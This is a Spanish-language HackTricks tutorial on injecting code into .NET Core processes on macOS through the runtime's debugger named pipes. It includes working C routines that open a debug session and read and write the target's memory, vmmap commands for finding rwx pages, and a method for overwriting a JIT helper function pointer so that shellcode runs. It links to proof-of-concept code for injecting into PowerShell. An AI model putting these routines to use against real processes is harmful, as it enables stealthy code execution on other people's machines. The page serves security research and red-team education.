11 KiB
Inyección en Aplicaciones .Net de macOS
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de HackTricks y HackTricks Cloud.
Depuración de .NET Core
Establecer una sesión de depuración
dbgtransportsession.cpp es responsable de manejar la comunicación entre el depurador y el depurado.
Crea 2 tuberías con nombre por proceso .Net en dbgtransportsession.cpp#L127 llamando a twowaypipe.cpp#L27 (una terminará en -in
y la otra en -out
, y el resto del nombre será el mismo).
Por lo tanto, si vas al $TMPDIR
del usuario, podrás encontrar fifos de depuración que podrías usar para depurar aplicaciones .Net:
La función DbgTransportSession::TransportWorker manejará la comunicación desde un depurador.
Lo primero que se requiere que haga un depurador es crear una nueva sesión de depuración. Esto se hace enviando un mensaje a través de la tubería out
que comienza con una estructura MessageHeader
, la cual podemos obtener del código fuente de .NET:
struct MessageHeader
{
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
En el caso de una solicitud de nueva sesión, esta estructura se llena de la siguiente manera:
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
Una vez construido, enviamos esto al objetivo utilizando la llamada al sistema write
:
write(wr, &sSendHeader, sizeof(MessageHeader));
Siguiendo nuestro encabezado, necesitamos enviar una estructura sessionRequestData
, que contiene un GUID para identificar nuestra sesión:
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
Al enviar nuestra solicitud de sesión, leemos del out
pipe un encabezado que indicará si nuestra solicitud para establecer si una sesión de depuración ha sido exitosa o no:
read(rd, &sReceiveHeader, sizeof(MessageHeader));
Leer Memoria
Con una sesión de depuración establecida es posible leer memoria utilizando el tipo de mensaje MT_ReadMemory
. Para leer algo de memoria el código principal necesario sería:
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
return true;
}
El código de prueba de concepto (POC) se encuentra aquí.
Escribir en memoria
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
El código POC utilizado para hacer esto se puede encontrar aquí.
Ejecución de código .NET Core
Lo primero es identificar, por ejemplo, una región de memoria con rwx
en ejecución para guardar el shellcode a ejecutar. Esto se puede hacer fácilmente con:
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
Entonces, para desencadenar la ejecución sería necesario conocer algún lugar donde se almacene un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la Tabla de Funciones Dinámicas (DFT), que es utilizada por el entorno de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función compatibles se puede encontrar dentro de jithelpers.h
.
En versiones x64 esto es directo utilizando la técnica de búsqueda de firmas al estilo mimikatz para buscar en libcorclr.dll
una referencia al símbolo _hlpDynamicFuncTable
, al cual podemos desreferenciar:
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, MT_GetDCB
. Esto devuelve una serie de bits de información útil sobre el proceso objetivo, pero para nuestro caso, estamos interesados en un campo devuelto que contiene la dirección de una función auxiliar, m_helperRemoteStartAddr
. Usando esta dirección, sabemos justo dónde se encuentra libcorclr.dll
dentro de la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
Conociendo esta dirección es posible sobrescribir el puntero de la función con el de nuestro shellcode.
El código POC completo utilizado para inyectar en PowerShell se puede encontrar aquí.
Referencias
- Esta técnica fue tomada de https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.